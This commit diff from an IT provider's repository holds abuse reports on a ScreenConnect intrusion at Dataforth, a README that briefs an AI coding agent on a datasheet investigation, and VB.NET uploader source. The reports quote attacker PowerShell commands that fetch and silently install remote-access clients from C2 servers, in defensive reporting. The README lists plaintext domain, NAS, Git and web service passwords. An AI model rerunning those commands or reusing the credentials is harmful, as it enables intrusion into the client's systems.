Session log: Dataforth security incident, MFA rollout, test datasheet investigation
- DF-JOEL2 compromised via ScreenConnect social engineering (Angel Raya) - C2 IPs blocked, rogue clients removed, M365 sessions revoked, password reset - IC3 complaint filed, abuse reports sent to Virtuo and ConnectWise - Conditional Access policies deployed (MFA, block foreign, block legacy auth) - 38 stale test station accounts deleted from Entra - Test datasheet pipeline investigated - data exists in DB, export step broken - TestDataSheetUploader source code extracted for analysis Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
BIN
clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
Normal file
BIN
clients/dataforth/docs/IC3-Complaint-2026-03-27.pdf
Normal file
Binary file not shown.
@@ -0,0 +1,67 @@
|
||||
Subject: Abuse Report - ScreenConnect Cloud Instance Used for Unauthorized Access and C2 Deployment
|
||||
|
||||
To: abuse@connectwise.com
|
||||
|
||||
Dear ConnectWise Security/Abuse Team,
|
||||
|
||||
We are reporting a ScreenConnect cloud instance being used to conduct unauthorized access attacks against our client's infrastructure.
|
||||
|
||||
## Offending ScreenConnect Instance
|
||||
|
||||
- **Relay hostname:** instance-wlb9ga-relay.screenconnect.com
|
||||
- **Operator alias:** Angel Raya
|
||||
- **ScreenConnect Client ID:** 0cad93610010625f
|
||||
- **Session GUID:** 8bb6c85a-6cab-46ab-8cad-26f6d2672a03
|
||||
- **Client Version:** 26.1.18.9566
|
||||
|
||||
## Nature of Abuse
|
||||
|
||||
On March 27, 2026, an individual operating under the name "Angel Raya" used the above ScreenConnect cloud instance to gain unauthorized remote access to a victim workstation. Once connected, the operator used the ScreenConnect backstage shell to execute PowerShell commands that:
|
||||
|
||||
1. Downloaded and silently installed two additional ScreenConnect clients from self-hosted C2 servers (80.76.49.18:8040 and 45.88.91.99:8040, both on AS399486 / Virtuo hosting)
|
||||
2. Downloaded a tool to hide the rogue installations from the Windows uninstall list
|
||||
3. Returned later through the self-hosted C2 backdoor under the session name "Administrator"
|
||||
|
||||
## Attack Timeline (March 27, 2026)
|
||||
|
||||
- **08:28** - ScreenConnect client (0cad93610010625f) installed from `C:\Users\jlohr\Downloads\ScreenConnect.ClientSetup.msi`
|
||||
- **08:29** - "Angel Raya" connected via instance-wlb9ga-relay.screenconnect.com
|
||||
- **08:29** - PowerShell commands executed to install two self-hosted ScreenConnect C2 backdoors
|
||||
- **08:31** - "Hide From Uninstall List" tool downloaded and extracted
|
||||
- **08:32** - Tool used to hide rogue ScreenConnect clients from Add/Remove Programs
|
||||
- **08:32** - "Angel Raya" disconnected
|
||||
|
||||
## Commands Executed via Backstage Shell
|
||||
|
||||
The following commands were found in the PowerShell terminal history on the victim machine:
|
||||
|
||||
```
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://80.76.49.18:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://45.88.91.99:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
|
||||
Invoke-WebRequest -Uri "https://www.sordum.org/files/downloads.php?hide-from-uninstall-list" -OutFile "C:\Users\Public\Pictures\Backup.zip"
|
||||
```
|
||||
|
||||
## Additional Context
|
||||
|
||||
- The victim's Microsoft 365 account also showed successful unauthorized sign-ins from Istanbul, Turkey and Croydon, UK, along with sustained brute-force attempts from Germany and Luxembourg over the preceding week.
|
||||
- The self-hosted C2 ScreenConnect MSI packages have build dates of April 8, 2025, suggesting this operation has been active for approximately one year.
|
||||
- The victim was a departing employee (retiring March 31, 2026), which may have been a factor in targeting.
|
||||
|
||||
## Requested Action
|
||||
|
||||
1. Identify and suspend the ScreenConnect cloud account associated with instance-wlb9ga-relay.screenconnect.com
|
||||
2. Preserve all session logs, account registration information, and billing details for this instance
|
||||
3. Share any available information with law enforcement upon request
|
||||
|
||||
This incident is being reported to the FBI IC3 and the hosting provider (Virtuo / AS399486).
|
||||
|
||||
## Reporting Organization
|
||||
|
||||
Arizona Computer Guru, LLC
|
||||
Managed Service Provider
|
||||
Phone: 520-304-8300
|
||||
Email: support@azcomputerguru.com
|
||||
|
||||
Thank you for your prompt response.
|
||||
@@ -0,0 +1,74 @@
|
||||
Subject: Abuse Report - Unauthorized Remote Access C2 Servers on 80.76.49.18 and 45.88.91.99
|
||||
|
||||
To: abuses@virtuo.host
|
||||
CC: noc@virtuo.host
|
||||
|
||||
Dear Virtuo Abuse Department,
|
||||
|
||||
We are reporting two IP addresses on your network that are being used as command-and-control servers for unauthorized remote access attacks against our client's infrastructure.
|
||||
|
||||
## Offending IPs
|
||||
|
||||
- **80.76.49.18** (port 8041)
|
||||
- **45.88.91.99** (port 8041)
|
||||
|
||||
Both IPs are on AS399486 (12651980 CANADA INC. / Virtuo).
|
||||
|
||||
## Nature of Abuse
|
||||
|
||||
These servers are hosting self-hosted ConnectWise ScreenConnect (remote access) instances on port 8040/8041, used to maintain persistent unauthorized access to victim machines. This is not a legitimate use of remote support software -- the clients are deployed silently via PowerShell commands executed during an active social engineering attack, then hidden from the Windows uninstall list using third-party tools.
|
||||
|
||||
## Evidence
|
||||
|
||||
### Attack Timeline (March 27, 2026 - UTC-7)
|
||||
|
||||
1. At approximately 08:28, an attacker using the alias "Angel Raya" connected to the victim machine via a ScreenConnect cloud relay (instance-wlb9ga-relay.screenconnect.com).
|
||||
|
||||
2. At 08:29, the following commands were executed in a PowerShell session on the victim machine to download and silently install ScreenConnect clients from your infrastructure:
|
||||
|
||||
```
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://80.76.49.18:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
|
||||
powershell -Command "Invoke-WebRequest -Uri 'http://45.88.91.99:8040/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest' -OutFile 'ScreenConnect.ClientSetup.msi'; Start-Process msiexec -ArgumentList '/i', 'ScreenConnect.ClientSetup.msi', '/qn', '/norestart' -Wait"
|
||||
```
|
||||
|
||||
3. The attacker then downloaded a tool from sordum.org ("Hide From Uninstall List") to conceal the rogue ScreenConnect installations from Windows Add/Remove Programs.
|
||||
|
||||
4. At 11:55, a session identified as "Administrator" connected back through the 80.76.49.18 C2 server, confirming the backdoor was actively used for return access.
|
||||
|
||||
### ScreenConnect Service Details
|
||||
|
||||
**Client connecting to 80.76.49.18:**
|
||||
- Service Name: ScreenConnect Client (0dfe1abae029411c)
|
||||
- Session GUID: eec1c861-ec30-4c7a-a8e7-cc8a1dbd5a56
|
||||
- Relay: 80.76.49.18:8041
|
||||
- Version: 25.2.4.9229
|
||||
|
||||
**Client connecting to 45.88.91.99:**
|
||||
- Service Name: ScreenConnect Client (a897d9a21259d116)
|
||||
- Session GUID: 406bd356-cde4-4738-a22f-f776c8097686
|
||||
- Relay: 45.88.91.99:8041
|
||||
- Version: 25.2.4.9229
|
||||
|
||||
### Additional Context
|
||||
|
||||
- The ScreenConnect MSI packages have file timestamps from April 8, 2025, indicating this infrastructure has been used for attacks for approximately one year.
|
||||
- The victim's Microsoft 365 account was also subject to brute-force login attempts from IPs in Germany (45.86.202.x), Luxembourg, and Turkey during the same period, with a successful unauthorized sign-in from Istanbul, Turkey (91.93.232.236) on the same day.
|
||||
|
||||
## Requested Action
|
||||
|
||||
We request that you:
|
||||
1. Immediately suspend the servers at 80.76.49.18 and 45.88.91.99
|
||||
2. Preserve all logs related to these IPs for law enforcement
|
||||
3. Provide any subscriber/billing information to law enforcement upon request
|
||||
|
||||
This incident is being reported to the FBI Internet Crime Complaint Center (IC3) and ConnectWise.
|
||||
|
||||
## Reporting Organization
|
||||
|
||||
Arizona Computer Guru, LLC
|
||||
Managed Service Provider
|
||||
Phone: 520-304-8300
|
||||
Email: support@azcomputerguru.com
|
||||
|
||||
Thank you for your prompt attention to this matter.
|
||||
194
clients/dataforth/dos-test-machines/Test Datasheets/README.md
Normal file
194
clients/dataforth/dos-test-machines/Test Datasheets/README.md
Normal file
@@ -0,0 +1,194 @@
|
||||
# Claude Instance Context: Test Datasheets Investigation (AD1)
|
||||
|
||||
**Purpose:** You are a Claude Code instance running on AD1 (192.168.0.27) at Dataforth's facility. Your job is to investigate the TestDataSheetUploader tool and the test datasheet workflow -- where files come from, where they go, and how this integrates with the DOS test machines.
|
||||
|
||||
**This is a temporary investigation instance.** Once findings are documented and synced to Gitea, this instance will be removed.
|
||||
|
||||
---
|
||||
|
||||
## Your Mission
|
||||
|
||||
1. **Find where test datasheets are generated** -- which machine(s), which software, what path
|
||||
2. **Find where they end up** -- the server-side path is `C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\` on whatever runs www.dataforth.com
|
||||
3. **Determine if this uploader is still in active use** or if the workflow changed
|
||||
4. **Document the full datasheet pipeline** -- from DOS test machine output through to the website
|
||||
5. **Sync your findings back to Gitea** so the coordinator instance can see them
|
||||
|
||||
---
|
||||
|
||||
## Gitea Sync (How to Push Findings)
|
||||
|
||||
The ClaudeTools repo is hosted on Gitea. Clone and push your findings here:
|
||||
|
||||
```bash
|
||||
# Clone the repo
|
||||
git clone https://mike%40azcomputerguru.com:Gptf%2A77ttb123%21%40%23-git@git.azcomputerguru.com/azcomputerguru/claudetools.git
|
||||
cd claudetools
|
||||
|
||||
# Your working area
|
||||
# clients/dataforth/dos-test-machines/Test Datasheets/
|
||||
|
||||
# Commit and push findings
|
||||
git add -A
|
||||
git commit -m "AD1 investigation: test datasheet pipeline findings"
|
||||
git push origin main
|
||||
```
|
||||
|
||||
**Gitea Credentials (plaintext, temporary use only):**
|
||||
- URL: https://git.azcomputerguru.com
|
||||
- User: mike@azcomputerguru.com
|
||||
- Password: Gptf*77ttb123!@#-git
|
||||
|
||||
---
|
||||
|
||||
## Network Context (Dataforth Engineering Network)
|
||||
|
||||
| Device | IP | Role | Credentials |
|
||||
|--------|-----|------|-------------|
|
||||
| AD1 (you are here) | 192.168.0.27 | Primary Domain Controller | INTRANET\sysadmin / Paper123!@# |
|
||||
| AD2 | 192.168.0.6 | Production Server (Win Server 2008 R2) | INTRANET\sysadmin / Paper123!@# |
|
||||
| D2TESTNAS | 192.168.0.9 | TrueNAS, SMB1 proxy for DOS machines | root / (SSH key) or admin / Paper123!@#-nas |
|
||||
| DOS Stations | 192.168.0.x | ~30 DOS 6.22 test machines (TS-XX) | N/A |
|
||||
| UDM Gateway | 192.168.0.254 | UniFi Dream Machine | N/A |
|
||||
|
||||
---
|
||||
|
||||
## What We Already Know About TestDataSheetUploader
|
||||
|
||||
This is a VB.NET console app (.NET Framework 4.7.2) last built November 2, 2022.
|
||||
|
||||
### What it does
|
||||
1. Calls `https://www.dataforth.com/Services/DirectoryManifest.aspx` to get a list of files already on the web server
|
||||
2. Compares local files against that manifest (by filename, size, and last-modified date)
|
||||
3. Uploads new/changed files via `https://www.dataforth.com/Services/Uploader.aspx`
|
||||
4. Deletes files from server that no longer exist locally via `https://www.dataforth.com/Services/DeleteFile.aspx`
|
||||
5. Only processes files modified in the current year
|
||||
|
||||
### Configured paths (from app.config)
|
||||
- **Service auth:** username=DataforthWebShare, password=Data6277
|
||||
- **TestDataSheetPath:** `C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists`
|
||||
- **TestFolderPath:** `C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists`
|
||||
- **InventoryDataStagingFolder:** `C:\TestDataSheetUploader\staging`
|
||||
- **InventoryDataSourceFolder:** `C:\TestDataSheetUploader\src`
|
||||
- **InventoryDataFiles:** AvSelCat.csv, AvSelCus.csv
|
||||
|
||||
### Server-side destination (from error logs)
|
||||
```
|
||||
C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\
|
||||
```
|
||||
|
||||
### Key unknowns -- what you need to find out
|
||||
- **Who is "hoffm"?** Likely a Hoffman who worked at Dataforth. Which machine was this?
|
||||
- **Where do test datasheets originate?** The DOS machines run QuickBASIC data acquisition. Do they produce datasheet files?
|
||||
- **Is there a path from DOS machines -> datasheets?** The DOS machines map `T:` to `\\D2TESTNAS\TEST`. Is there a datasheets share they write to?
|
||||
- **Is the uploader still running?** Scheduled task? Manual? Last used?
|
||||
- **Where does `C:\Users\hoffm\...` map to now?** Did someone take over this role?
|
||||
|
||||
---
|
||||
|
||||
## Investigation Steps
|
||||
|
||||
### On AD1 (this machine)
|
||||
```powershell
|
||||
# Check if TestDataSheetUploader exists anywhere on this machine
|
||||
Get-ChildItem -Path C:\ -Recurse -Filter "TestDataSheetUploader*" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check for Hoffman's profile or traces
|
||||
Get-ChildItem C:\Users\ -Directory
|
||||
Get-ChildItem "C:\Users\hoffm" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check scheduled tasks for anything datasheet-related
|
||||
Get-ScheduledTask | Where-Object { $_.TaskName -like "*data*" -or $_.TaskName -like "*sheet*" -or $_.TaskName -like "*upload*" -or $_.TaskName -like "*sync*" }
|
||||
|
||||
# Check for IIS sites (AD1 might host www.dataforth.com)
|
||||
Import-Module WebAdministration -ErrorAction SilentlyContinue
|
||||
Get-Website -ErrorAction SilentlyContinue
|
||||
Get-ChildItem "C:\inetpub\wwwroot" -ErrorAction SilentlyContinue
|
||||
```
|
||||
|
||||
### On AD2 (192.168.0.6)
|
||||
```powershell
|
||||
# Remote into AD2 and check
|
||||
Invoke-Command -ComputerName 192.168.0.6 -Credential (Get-Credential INTRANET\sysadmin) -ScriptBlock {
|
||||
# Check for the uploader
|
||||
Get-ChildItem -Path C:\ -Recurse -Filter "TestDataSheetUploader*" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check IIS
|
||||
Get-ChildItem "C:\inetpub\wwwroot" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check for the WebShare path from error logs
|
||||
Get-ChildItem "C:\inetpub\wwwroot\dataforth.com\WebShare" -ErrorAction SilentlyContinue
|
||||
|
||||
# Check scheduled tasks
|
||||
Get-ScheduledTask | Where-Object { $_.TaskName -like "*data*" -or $_.TaskName -like "*upload*" }
|
||||
|
||||
# Check user profiles
|
||||
Get-ChildItem C:\Users\ -Directory
|
||||
}
|
||||
```
|
||||
|
||||
### On D2TESTNAS (192.168.0.9)
|
||||
```bash
|
||||
# SSH from AD1 or any machine with access
|
||||
ssh root@192.168.0.9
|
||||
|
||||
# Check datasheets share
|
||||
ls -la /data/datasheets/
|
||||
find /data/ -name "*datasheet*" -o -name "*TestData*" 2>/dev/null
|
||||
|
||||
# Check if DOS machines write any test output files
|
||||
ls -la /data/test/TS-27/
|
||||
find /data/test/ -name "*.pdf" -o -name "*.csv" -o -name "*.dat" 2>/dev/null
|
||||
```
|
||||
|
||||
### Check the Dataforth website services
|
||||
```powershell
|
||||
# Test if the manifest service still responds
|
||||
$cred = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes("DataforthWebShare:Data6277"))
|
||||
Invoke-WebRequest -Uri "https://www.dataforth.com/Services/DirectoryManifest.aspx" -Headers @{Authorization="Basic $cred"} -Method GET -ErrorAction SilentlyContinue
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## DOS Test Machine Architecture (Full Context)
|
||||
|
||||
The DOS machines are ~30 stations running DOS 6.22 with QuickBASIC 4.5 data acquisition software.
|
||||
|
||||
```
|
||||
DOS Machines (TS-XX) --SMB1--> D2TESTNAS (192.168.0.9) --SMB2/rsync--> AD2 (192.168.0.6)
|
||||
| /data/test/ C:\Shares\test\
|
||||
| /data/datasheets/ C:\Shares\datasheets (PENDING)
|
||||
|
|
||||
+-- Map T: = \\D2TESTNAS\TEST
|
||||
+-- Run QuickBASIC data acquisition
|
||||
+-- UPDATE.BAT for remote management
|
||||
+-- TODO.BAT for remote task execution
|
||||
```
|
||||
|
||||
**Bidirectional sync** runs every 15 minutes between D2TESTNAS and AD2 via `/root/sync-to-ad2.sh`.
|
||||
|
||||
The datasheets share (`\\D2TESTNAS\datasheets` -> `/data/datasheets/`) exists on D2TESTNAS but the corresponding AD2 share (`\\AD2\datasheets`) was never created -- it's listed as a remaining task. This may be relevant to the test datasheet pipeline.
|
||||
|
||||
---
|
||||
|
||||
## Where to Save Your Findings
|
||||
|
||||
Write your investigation results to:
|
||||
```
|
||||
clients/dataforth/dos-test-machines/Test Datasheets/INVESTIGATION.md
|
||||
```
|
||||
|
||||
Include:
|
||||
- What you found on each machine
|
||||
- The complete datasheet pipeline (or what's missing/broken)
|
||||
- Whether the uploader is still active
|
||||
- Recommendations for what to do next
|
||||
|
||||
Then commit and push to Gitea using the credentials above.
|
||||
|
||||
---
|
||||
|
||||
## Contact
|
||||
|
||||
- **AJ at Dataforth** -- engineering contact, can answer questions about the test workflow
|
||||
- **Coordinator instance** -- will see your findings after you push to Gitea
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 14
|
||||
VisualStudioVersion = 14.0.25420.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "TestDataSheetUploader", "TestDataSheetUploader\TestDataSheetUploader.vbproj", "{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,158 @@
|
||||
Imports System.Text
|
||||
Imports System.Net
|
||||
Imports System.IO
|
||||
|
||||
Public Class HTTPUploader
|
||||
|
||||
|
||||
|
||||
Public Shared Function UploadFile(ByVal url As String, ByVal credentials As Net.NetworkCredential, ByVal localPathFilename As String, ByVal nvc As System.Collections.Specialized.NameValueCollection, ByRef LogMessage As String) As Boolean
|
||||
Try
|
||||
'Return True
|
||||
Dim length As Long = 0
|
||||
'Dim boundary As String = "----------------------------" & Date.Now.Ticks.ToString("x")
|
||||
Dim boundary As String = "----------------------------061366199019971999"
|
||||
|
||||
Dim httpWebRequest2 As HttpWebRequest = WebRequest.Create(url)
|
||||
httpWebRequest2.ContentType = "multipart/form-data; boundary=" & boundary
|
||||
httpWebRequest2.Method = "POST"
|
||||
httpWebRequest2.KeepAlive = True
|
||||
httpWebRequest2.Credentials = credentials
|
||||
httpWebRequest2.Timeout = 900000
|
||||
|
||||
|
||||
Dim memStream As New System.IO.MemoryStream()
|
||||
|
||||
Dim boundarybytes() As Byte = System.Text.Encoding.ASCII.GetBytes(vbCrLf & "--" & boundary & vbCrLf)
|
||||
|
||||
|
||||
Dim formdataTemplate As String = vbCrLf & "--" + boundary & vbCrLf & "Content-Disposition: form-data; name=""{0}"";" & vbCrLf & vbCrLf & "{1}"
|
||||
|
||||
For Each key As String In nvc.Keys
|
||||
Dim formitem As String = String.Format(formdataTemplate, key, nvc(key))
|
||||
Dim formitembytes() As Byte = System.Text.Encoding.UTF8.GetBytes(formitem)
|
||||
memStream.Write(formitembytes, 0, formitembytes.Length)
|
||||
Next
|
||||
|
||||
|
||||
memStream.Write(boundarybytes, 0, boundarybytes.Length)
|
||||
|
||||
Dim headerTemplate As String = "Content-Disposition: form-data; name=""{0}""; filename=""{1}"" " & _
|
||||
"Content-Type: application/octet-stream" & vbCrLf & vbCrLf
|
||||
|
||||
'Content-Type: application/octet-stream
|
||||
|
||||
|
||||
'string header = string.Format(headerTemplate, "file" + i, files[i]);
|
||||
Dim header As String = String.Format(headerTemplate, "file1", localPathFilename)
|
||||
|
||||
Dim headerbytes() As Byte = System.Text.Encoding.UTF8.GetBytes(header)
|
||||
|
||||
memStream.Write(headerbytes, 0, headerbytes.Length)
|
||||
|
||||
|
||||
|
||||
Dim byteArray As Byte() = File.ReadAllBytes(localPathFilename)
|
||||
memStream.Write(byteArray, 0, byteArray.Length)
|
||||
|
||||
memStream.Write(boundarybytes, 0, boundarybytes.Length)
|
||||
|
||||
|
||||
|
||||
httpWebRequest2.ContentLength = memStream.Length + 1
|
||||
|
||||
Dim requestStream As Stream = httpWebRequest2.GetRequestStream()
|
||||
|
||||
memStream.Position = 0
|
||||
Dim tempBuffer(memStream.Length) As Byte
|
||||
memStream.Read(tempBuffer, 0, tempBuffer.Length)
|
||||
memStream.Close()
|
||||
requestStream.Write(tempBuffer, 0, tempBuffer.Length)
|
||||
requestStream.Close()
|
||||
|
||||
Dim webResponse2 As WebResponse = httpWebRequest2.GetResponse()
|
||||
|
||||
Dim stream2 As Stream = webResponse2.GetResponseStream()
|
||||
Dim reader2 As New StreamReader(stream2)
|
||||
|
||||
Dim xmlResponse As String = reader2.ReadToEnd
|
||||
|
||||
webResponse2.Close()
|
||||
httpWebRequest2 = Nothing
|
||||
webResponse2 = Nothing
|
||||
|
||||
|
||||
Dim ds As New DataSet
|
||||
ds.ReadXml(New System.Xml.XmlTextReader(New StringReader(xmlResponse)))
|
||||
|
||||
Dim responseMessage As String = ds.Tables("Result").Rows(0)("Message")
|
||||
If responseMessage = "SUCCESS" Then
|
||||
Dim uploadedFilesize As Long = ds.Tables("Result").Rows(0)("SavedFileSize")
|
||||
If My.Computer.FileSystem.GetFileInfo(localPathFilename).Length = uploadedFilesize Then
|
||||
'we are done
|
||||
Return True
|
||||
Else
|
||||
LogMessage = "Uploaded filesize (" & uploadedFilesize & ") does not match local filesize (" & My.Computer.FileSystem.GetFileInfo(localPathFilename).Length & ")"
|
||||
End If
|
||||
Else
|
||||
LogMessage = "Dataforth Service Upload Error: " & ds.Tables("Result").Rows(0)("ErrorMessage")
|
||||
End If
|
||||
Return False
|
||||
Catch ex As Exception
|
||||
LogMessage = "Exception while uploading to Dataforth Service: " & ex.ToString
|
||||
Return False
|
||||
End Try
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
'Public Shared Sub _UploadVideo_(ByVal url As String, ByVal credentials As Net.NetworkCredential, ByVal localPathFilename As String, ByVal nvc As System.Collections.Specialized.NameValueCollection)
|
||||
' Try
|
||||
' Dim client As New WebClient
|
||||
' client.Credentials = credentials
|
||||
' Dim bogus As Integer = -1
|
||||
' Dim requestURL As String = url & "?ecsId=" & nvc.Get("ecsId")
|
||||
' 'requestURL = requestURL.Replace("https://", "http://")
|
||||
|
||||
' Dim response() As Byte = client.UploadFile(requestURL, localPathFilename)
|
||||
' MsgBox(System.Text.Encoding.Unicode.GetString(response))
|
||||
' Catch webEx As WebException
|
||||
' Dim thisE As String = webEx.ToString
|
||||
|
||||
' Catch ex As Exception
|
||||
|
||||
' End Try
|
||||
'End Sub
|
||||
|
||||
|
||||
'Public Shared Sub UploadVideo__(ByVal url As String, ByVal credentials As Net.NetworkCredential, ByVal localPathFilename As String, ByVal nvc As System.Collections.Specialized.NameValueCollection)
|
||||
|
||||
' Dim requestURL As String = url
|
||||
' Dim boundary As String = "----------------------------" & Date.Now.Ticks.ToString("x")
|
||||
|
||||
' 'Create Request
|
||||
' Dim webRequest As System.Net.HttpWebRequest = CType(System.Net.WebRequest.Create(requestURL), System.Net.HttpWebRequest)
|
||||
' webRequest.Credentials = credentials
|
||||
' webRequest.Timeout = 120000
|
||||
' 'System.Net.ServicePointManager.ServerCertificateValidationCallback = (Function(sender, certificate, chain, sslPolicyErrors) True)
|
||||
' 'webRequest.ContentType = "application/x-www-form-urlencoded"
|
||||
' webRequest.ContentType = "multipart/form-data; boundary=" & boundary
|
||||
' webRequest.Method = "POST"
|
||||
|
||||
|
||||
' Dim byteArray As Byte() = File.ReadAllBytes(localPathFilename)
|
||||
' webRequest.ContentLength = byteArray.Length
|
||||
' Dim dataStream As Stream = webRequest.GetRequestStream
|
||||
' dataStream.Write(byteArray, 0, byteArray.Length)
|
||||
' dataStream.Close()
|
||||
|
||||
|
||||
' ' Retrieve data from Response
|
||||
' Dim webResponse As System.Net.HttpWebResponse = CType(webRequest.GetResponse(), System.Net.HttpWebResponse)
|
||||
' Dim sr As New System.IO.StreamReader(webResponse.GetResponseStream(), System.Text.Encoding.UTF8)
|
||||
' Dim responseString As String = sr.ReadToEnd()
|
||||
' MsgBox(responseString)
|
||||
|
||||
'End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,264 @@
|
||||
Module Module1
|
||||
|
||||
Private processLog As System.Text.StringBuilder
|
||||
|
||||
Sub Main()
|
||||
processLog = New System.Text.StringBuilder()
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
|
||||
|
||||
'for testing only
|
||||
'UploadFilesInDirectory("C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists", "TestFolder")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
'CopyInventoryFilesToStagingFolder()
|
||||
'SyncFolder("InventoryDataFolder")
|
||||
|
||||
SyncFolder("TestDataSheet")
|
||||
|
||||
|
||||
Dim logFilename As String = My.Application.Info.DirectoryPath & "\processLog." & Now.ToString("yyyy.MM.dd.HH.mm.ss") & ".txt"
|
||||
My.Computer.FileSystem.WriteAllText(logFilename, processLog.ToString, False)
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub AddToLog(ByVal message As String, ByVal Echo As Boolean)
|
||||
processLog.Append(Now.ToString("MM/dd/YYYY HH:mm:ss | ") & message & vbCrLf)
|
||||
If Echo Then
|
||||
Console.WriteLine(message)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub CopyInventoryFilesToStagingFolder()
|
||||
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
Dim stagingFolderPath As String = appSettings.GetValue("InventoryDataStagingFolder", GetType(String))
|
||||
Dim srcFolderPath As String = appSettings.GetValue("InventoryDataSourceFolder", GetType(String))
|
||||
Dim filenamesStr As String = appSettings.GetValue("InventoryDataFiles", GetType(String))
|
||||
|
||||
Dim filenames() As String = filenamesStr.Split(",")
|
||||
|
||||
For Each thisFilename As String In filenames
|
||||
Dim src As String = srcFolderPath & "\" & thisFilename
|
||||
Dim dest As String = stagingFolderPath & "\" & thisFilename
|
||||
My.Computer.FileSystem.CopyFile(src, dest, True)
|
||||
Next
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub UploadFilesInDirectory(ByVal DirectoryPath As String, ByVal UploadType As String)
|
||||
|
||||
|
||||
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
Dim username As String = appSettings.GetValue("ServiceUsername", GetType(String))
|
||||
Dim password As String = appSettings.GetValue("ServicePassword", GetType(String))
|
||||
Dim serviceCredentials As New Net.NetworkCredential(username, password)
|
||||
Dim url As String = appSettings.GetValue("UploaderServiceURL", GetType(String))
|
||||
|
||||
|
||||
|
||||
For Each thisFile As String In My.Computer.FileSystem.GetFiles(DirectoryPath)
|
||||
|
||||
Dim formParameters As New System.Collections.Specialized.NameValueCollection
|
||||
formParameters.Add("UploadType", UploadType)
|
||||
|
||||
Dim logMessage As New String("")
|
||||
Console.WriteLine("Uploading: " & thisFile)
|
||||
If HTTPUploader.UploadFile(url, serviceCredentials, thisFile, formParameters, logMessage) Then
|
||||
'this video is now staged
|
||||
AddToLog("Uploaded " & thisFile, True)
|
||||
|
||||
My.Computer.FileSystem.DeleteFile(thisFile)
|
||||
Else
|
||||
|
||||
AddToLog("Upload FAILED for " & thisFile, True)
|
||||
AddToLog("Upload FAIL MESSAGE: " & logMessage, False)
|
||||
Console.WriteLine("ERROR: " & logMessage)
|
||||
End If
|
||||
|
||||
|
||||
Next
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
Public Sub SyncFolder(ByVal FolderAlias As String)
|
||||
Try
|
||||
AddToLog("SyncFolder(" & FolderAlias & ") started.", True)
|
||||
'get manifest of files that are on server mirror
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
Dim username As String = appSettings.GetValue("ServiceUsername", GetType(String))
|
||||
Dim password As String = appSettings.GetValue("ServicePassword", GetType(String))
|
||||
Dim serviceCredentials As New Net.NetworkCredential(username, password)
|
||||
Dim manifestServiceUrl As String = appSettings.GetValue("DirectoryManifestServiceURL", GetType(String))
|
||||
Dim uploadServiceUrl As String = appSettings.GetValue("UploaderServiceURL", GetType(String))
|
||||
Dim deleteServiceUrl As String = appSettings.GetValue("DeleteFileServiceURL", GetType(String))
|
||||
Dim testMode As Boolean = appSettings.GetValue("TestMode", GetType(Boolean))
|
||||
|
||||
'Create an XML file to post with the request
|
